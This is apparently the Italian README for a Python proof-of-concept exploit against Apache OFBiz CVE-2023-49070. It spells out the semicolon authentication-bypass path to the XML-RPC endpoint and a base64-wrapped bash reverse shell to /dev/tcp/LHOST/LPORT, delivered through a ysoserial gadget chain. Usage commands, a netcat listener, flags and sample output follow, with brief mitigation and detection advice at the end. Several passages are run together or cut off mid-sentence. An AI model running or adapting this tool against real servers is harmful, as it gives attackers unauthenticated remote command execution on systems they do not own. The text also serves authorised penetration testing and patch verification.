
PoC Python per Apache OFBiz CVE-2023-49070: bypass dell'autenticazione su /webtools/control/xmlrpc più catena di gadget ysoserial per ottenere RCE da deserializzazione pre-auth.
PoC per la RCE da deserializzazione pre-auth in Apache OFBiz XML-RPC tracciata come
CVE-2023-49070: un percorso di bypass dell'autenticazione sblocca l'endpoint legacy
/webtools/control/xmlrpc, che deserializza un oggetto Java controllato
dall'attaccante introdotto di nascosto all'interno di un parametro XML-RPC
<serializable>.
⚠️ Solo per test di sicurezza autorizzati. Esegui questo strumento solo contro sistemi che possiedi o che sei esplicitamente autorizzato a testare (ambienti CTF/lab, ingaggi con scope firmato, ecc.). L'accesso non autorizzato a sistemi informatici è illegale nella maggior parte delle giurisdizioni.
L'autenticazione view-map di Apache OFBiz normalmente protegge
/webtools/control/xmlrpc. Le versioni interessate (< 18.12.10) possono essere
indotte a saltare quel controllo aggiungendo un punto e virgola più specifici
parametri di query al percorso:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
Una volta raggiungibile, l'endpoint accetta richieste XML-RPC. L'implementazione
Java di Apache XML-RPC supporta un tipo di estensione <serializable>: il
contenuto dell'elemento viene decodificato da base64 e passato direttamente a
— classica deserializzazione Java non sicura.
Con una catena di gadget adeguata nel classpath (questa PoC usa
tramite
per impostazione predefinita), ciò si traduce direttamente in esecuzione remota
di comandi come l'utente OS che esegue OFBiz.
ObjectInputStream.readObject()CommonsBeanutils1Questa è la stessa famiglia di bug delle precedenti CVE di deserializzazione XML-RPC di OFBiz (ad esempio la controparte auth-bypass di CVE-2023-51467); OFBiz ha avuto un pattern ricorrente di coppie auth-bypass + deserializzazione su questo endpoint, quindi verifica l'esatta CVE/intervallo di versioni che si applica al tuo target prima di affidarti a questa PoC.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1,
la codifica in base64 e la racchiude in un one-liner
bash -c 'echo ... | base64 -d | bash' (evita la manomissione dei
metacaratteri della shell più avanti nella catena di esecuzione).ysoserial per costruire una catena di gadget serializzata
(CommonsBeanutils1 per impostazione predefinita, configurabile) che esegue
quel one-liner.<serializable>.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y.No such service) — un
segnale che il payload è stato elaborato, non la prova dell'esecuzione del codice.Non può confermare che hai ottenuto una shell — OFBiz restituisce un errore
generico in entrambi i casi una volta eseguita la deserializzazione (il metodo
XML-RPC stesso, Dns, non esiste come servizio reale). Tieni sempre attivo il
tuo listener e controllalo, non solo l'output della console dello script.
pip install requests --break-system-packagesysoserial-all.jar — compilalo tu stesso da
frohoff/ysoserial
(mvn clean package -DskipTests) oppure scarica una release jar. Non è incluso
qui — è un grande strumento di terze parti con la propria licenza.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
Avvia prima un listener:
nc -lvnp 4444
| Flag | Default | Descrizione |
|---|---|---|
--target | (obbligatorio) | URL base del target, es. https://ofbiz.target.tld |
--lhost | (obbligatorio) | IP del tuo listener |
--lport | (obbligatorio) | Porta del tuo listener |
--ysoserial | ysoserial-all.jar | Percorso del jar di ysoserial |
--gadget | CommonsBeanutils1 | Catena di gadget ysoserial da usare |
--java-bin | java | Binario Java da invocare |
--timeout | 15 | Timeout della richiesta HTTP (secondi) |
--proxy | (nessuno) | Proxy HTTP(S) opzionale, ad es. per instradare attraverso Burp |
CommonsBeanutils1 è la scelta classica per OFBiz (include
commons-beanutils nel classpath), ma se non funziona, le librerie incluse in
OFBiz supportano anche altre catene. Basta cambiare --gadget:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc se non usi attivamente
l'integrazione XML-RPC; il componente webtools in generale è un target comune
e non dovrebbe essere esposto a Internet senza una valida ragione.; contro il parsing dei percorsi dei
servlet Java.ObjectInputFilter, disponibile da JEP 290 / Java 9+) per bloccare
le classi note delle catene di gadget dall'essere mai istanziate,
indipendentemente da quale endpoint attivi la deserializzazione.*/control/xmlrpc* contenenti elementi
<serializable>, connessioni in uscita inattese dall'host OFBiz e processi
figli generati dal processo Java che esegue OFBiz.MIT — vedi LICENSE.